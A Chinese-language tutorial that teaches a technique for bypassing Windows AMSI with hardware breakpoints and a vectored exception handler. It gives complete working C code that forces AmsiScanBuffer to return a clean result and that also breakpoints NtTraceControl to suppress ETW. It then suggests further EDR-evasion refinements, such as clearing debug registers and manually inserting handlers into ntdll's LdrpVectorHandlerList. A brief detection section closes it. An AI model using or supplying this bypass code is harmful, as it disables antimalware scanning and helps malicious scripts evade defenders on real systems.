AMSI对抗技术
字数 2882
更新时间 2026-05-10 17:58:43

AMSI对抗技术:基于硬件断点与向量化异常处理的绕过方法教学文档

1. 技术背景

AMSI (Antimalware Scan Interface) 是微软在2015年随Windows 10推出的反恶意软件扫描接口。它为第三方安全产品提供了统一的扫描接口,专门用于检测无文件攻击和脚本类威胁。AMSI的核心函数是AmsiScanBuffer,负责将内存中的内容提交给安全引擎进行扫描。

攻击者为对抗AMSI的检测,不断演进绕过技术。本文重点讲解一种不修改内存、隐蔽性高的新型绕过技术。

2. 传统AMSI Bypass技术的局限性

最直接的绕过方法是直接修改AmsiScanBuffer函数在内存中的代码,例如将其第一条指令改为ret指令(原始字节4C 8B DC修改为C3)。

这种方法的缺点:

  1. 需要修改内存页权限:必须调用VirtualProtectNtProtectVirtualMemory将代码页改为可写(RWX),而这两个API调用本身就会被EDR监控
  2. 破坏内存完整性:EDR会周期性地对比磁盘上amsi.dll和内存中的代码段hash,一旦发现不一致立即报警
  3. 对应MITRE ATT&CK T1562.001:这种"动手关安全组件"的行为属于"削弱防御:禁用或修改工具",是EDR最敏感的告警之一

3. 新型绕过技术原理

3.1 技术核心组件

3.1.1 硬件断点(Hardware Breakpoints)

  • 根据Intel 64和IA-32架构软件开发者手册,CPU提供4个调试地址寄存器(DR0-DR3)
  • 可设置最多4个硬件断点,当CPU执行到断点地址时,会在该指令执行之前触发调试异常
  • DR7寄存器用于控制这些断点的启用和类型
  • 重要限制:调试寄存器是特权资源,用户态进程无法通过MOV DR0, RAX这样的指令直接修改

3.1.2 向量化异常处理(VEH)

  • Windows提供VEH(Vectored Exception Handler)机制
  • 可注册回调函数,当程序发生异常时,系统会先调用该函数处理
  • 硬件断点被触发时,CPU抛出单步异常(EXCEPTION_SINGLE_STEP,异常码0x80000004
  • 系统会将以下两样东西交给VEH handler:
    • 异常信息(哪个地址触发)
    • 当前线程的CPU状态(CONTEXT结构体,包含所有寄存器的值)

关键特性CONTEXT结构体是可写的,修改后系统恢复执行时会使用修改过的值。这意味着可以:

  • 修改RIP寄存器,使其指向其他地址
  • 修改RAX寄存器,控制函数返回值
  • 函数还未执行就被劫持,而内存中的代码一个字节都未改动

3.2 技术实现流程

第一步:注册VEH处理单步异常

// 注册VEH回调函数,专门处理EXCEPTION_SINGLE_STEP
AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)Handler);
  • 参数1表示插到VEH链表最前面,优先级最高
  • 断点命中后的所有操作都在回调函数中实现

第二步:设置调试寄存器

由于无法直接操作调试寄存器,需要通过CONTEXT结构体间接修改:

  1. 获取线程的CONTEXT结构体
  2. 修改其中的Dr0/Dr1/Dr7字段
  3. 通过SetThreadContext(底层走ntdll!NtSetContextThread系统调用)将修改后的CONTEXT应用到线程

第三步:实现Bypass逻辑

AmsiScanBuffer上设置硬件断点,当该函数被调用时:

  1. CPU在函数第一条指令执行前触发单步异常
  2. VEH回调函数被调用
  3. 在回调函数中修改线程上下文,实现跳过扫描

4. 完整代码实现解析

4.1 核心代码结构

#include <windows.h>

// 全局变量定义
PVOID g_pNtTraceControl = NULL;
PVOID g_pAmsiScanBuffer = NULL;

// VEH异常处理函数
LONG CALLBACK Handler(PEXCEPTION_POINTERS pExceptionInfo) {
    PCONTEXT context = pExceptionInfo->ContextRecord;
    
    // 检查是否是单步异常
    if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
        ULONG_PTR exceptionAddress = (ULONG_PTR)pExceptionInfo->ExceptionRecord->ExceptionAddress;
        
        // 处理AmsiScanBuffer断点
        if (exceptionAddress == (ULONG_PTR)g_pAmsiScanBuffer) {
            // 获取第6个参数(AMSI_RESULT*),位于Rsp+48
            PULONG puAmsiResult = *(PULONG*)(context->Rsp + 48);
            
            // 写入AMSI_RESULT_CLEAN(0),表示"没有恶意"
            *puAmsiResult = AMSI_RESULT_CLEAN;
            
            // 跳过整个AmsiScanBuffer函数
            ULONG_PTR returnAddress = *(ULONG_PTR*)context->Rsp;
            context->Rip = returnAddress;  // 修改RIP为调用者的返回地址
            context->Rsp += 8;  // 调整栈指针
            
            // 设置RAX为S_OK(0),表示"执行成功"
            context->Rax = S_OK;
            
            // 恢复执行
            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

4.2 主函数实现

int main(int argc, char* argv[]) {
    HMODULE hNtDll = GetModuleHandleA("ntdll.dll");
    HMODULE hAmsiDll = NULL;
    
    // 第1步:注册VEH
    AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)Handler);
    
    // 第2步:获取当前线程的调试寄存器状态
    CONTEXT contextThread = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
    GetThreadContext(GetCurrentThread(), &contextThread);
    
    // 清零,从干净状态开始
    contextThread.Dr0 = 0;
    contextThread.Dr1 = 0;
    contextThread.Dr7 = 0;
    
    // 第3步:设置ETW断点(Dr0)
    g_pNtTraceControl = GetProcAddress(hNtDll, "NtTraceControl");
    contextThread.Dr0 = (ULONG_PTR)g_pNtTraceControl;  // Dr0 = 目标地址
    contextThread.Dr7 |= 0x1;  // bit 0 = 启用Dr0
    
    // 第4步:设置AMSI断点(Dr1)
    hAmsiDll = LoadLibraryA("amsi.dll");
    g_pAmsiScanBuffer = GetProcAddress(hAmsiDll, "AmsiScanBuffer");
    contextThread.Dr1 = (ULONG_PTR)g_pAmsiScanBuffer;  // Dr1 = 目标地址
    contextThread.Dr7 |= 0x4;  // bit 2 = 启用Dr1
    
    // 第5步:立即激活断点
    typedef NTSTATUS(NTAPI* PFN_NtContinue)(PCONTEXT ThreadContext, BOOLEAN RaiseAlert);
    PFN_NtContinue pfnNtContinue = (PFN_NtContinue)GetProcAddress(hNtDll, "NtContinue");
    pfnNtContinue(&contextThread, FALSE);
    
    // 第6步:验证bypass效果
    HAMSICONTEXT hAmsiContext;
    AMSI_RESULT amsiResult;
    
    if (SUCCEEDED(AmsiInitialize(L"TestApp", &hAmsiContext))) {
        LPCSTR szEicar = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
        HRESULT hr = AmsiScanBuffer(hAmsiContext, (PVOID)szEicar, (ULONG)strlen(szEicar), 
                                    L"Test", NULL, &amsiResult);
        
        if (SUCCEEDED(hr)) {
            printf("[+] AMSI result: 0x%08X\n", (DWORD)amsiResult);
        }
        AmsiUninitialize(hAmsiContext);
    }
    
    FreeLibrary(hAmsiDll);
    return 0;
}

5. 技术优势分析

  1. 零内存修改:不修改AmsiScanBuffer函数的任何内存字节
  2. 不触发内存完整性告警:EDR对比磁盘和内存hash时不会发现差异
  3. 无需修改内存页权限:避免了调用VirtualProtect等敏感API
  4. 使用合法机制:整个过程使用的都是Windows和CPU的合法机制:
    • 硬件调试寄存器(Intel/AMD CPU标准特性)
    • VEH(Windows官方异常处理机制)
    • CONTEXT结构体(系统标准结构)

6. 技术改进与防御规避

6.1 当前PoC的潜在问题

  1. ETW日志记录:使用GetThreadContext + NtContinue设置断点会被内核记录到ETW日志中
  2. 断点残留:Bypass完成后Dr1和Dr7仍为非零值,EDR扫描线程时可发现异常
  3. API调用检测AddVectoredExceptionHandler等API可能被EDR hook

6.2 改进方案

方案一:用VEH²替换NtContinue

  • 先调用DebugBreak()触发异常
  • 在异常回调中直接修改CONTEXT的Dr0/Dr7字段
  • 不调用任何API,内核日志中无记录

方案二:及时清理断点

  • 在handler中处理完异常后,立即将Dr1/Dr7清零
  • 使EDR后续扫描时看不到断点设置

方案三:手动注册VEH

  • 不调用AddVectoredExceptionHandler
  • 直接找到ntdll内部的LdrpVectorHandlerList链表
  • 自己构造节点并插入链表
  • 避开API hook检测

7. 技术细节解析

7.1 栈帧布局与参数访问

在x64调用约定中:

  • Rsp + 0 = 返回地址
  • Rsp + 8 到 Rsp + 38 = shadow space
  • Rsp + 40 = 第5个参数
  • Rsp + 48 = 第6个参数(AMSI_RESULT*)

因此可以通过*(PULONG*)(context->Rsp + 48)访问AmsiScanBuffer的第6个参数。

7.2 控制流劫持原理

// 获取调用者的返回地址
ULONG_PTR returnAddress = *(ULONG_PTR*)context->Rsp;
context->Rip = returnAddress;  // 修改指令指针
context->Rsp += 8;  // 平衡栈帧
  • 将RIP设置为调用者的返回地址,直接跳过AmsiScanBuffer函数的执行
  • 调整RSP保持栈平衡

7.3 返回值伪造

context->Rax = S_OK;  // 函数返回值为S_OK(0)
*puAmsiResult = AMSI_RESULT_CLEAN;  // 扫描结果为"干净"
  • RAX寄存器存储函数返回值,设置为S_OK表示成功
  • 直接修改AMSI_RESULT参数,设为AMSI_RESULT_CLEAN

8. 防御检测建议

8.1 检测点

  1. 异常监控:监控频繁的EXCEPTION_SINGLE_STEP异常
  2. 调试寄存器检查:定期扫描线程的Dr0-Dr7寄存器
  3. VEH链检查:监控异常的VEH注册
  4. CONTEXT修改检测:监控线程上下文的异常修改

8.2 缓解措施

  1. 控制流完整性:实施CFG(Control Flow Guard)等控制流完整性保护
  2. 行为监控:监控异常的程序行为模式
  3. 深度检测:结合多维度信号进行综合判断

9. 总结

本文详细分析了基于硬件断点和向量化异常处理的AMSI绕过技术。该技术通过CPU硬件特性实现零内存修改的防御绕过,相比传统内存patch方法具有更高的隐蔽性。理解该技术的原理、实现细节及改进方向,对于攻防双方都具有重要意义。防御方需从异常监控、行为分析等多维度构建检测体系,而攻击方则需不断演进技术以规避检测。

相似文章
相似文章
 全屏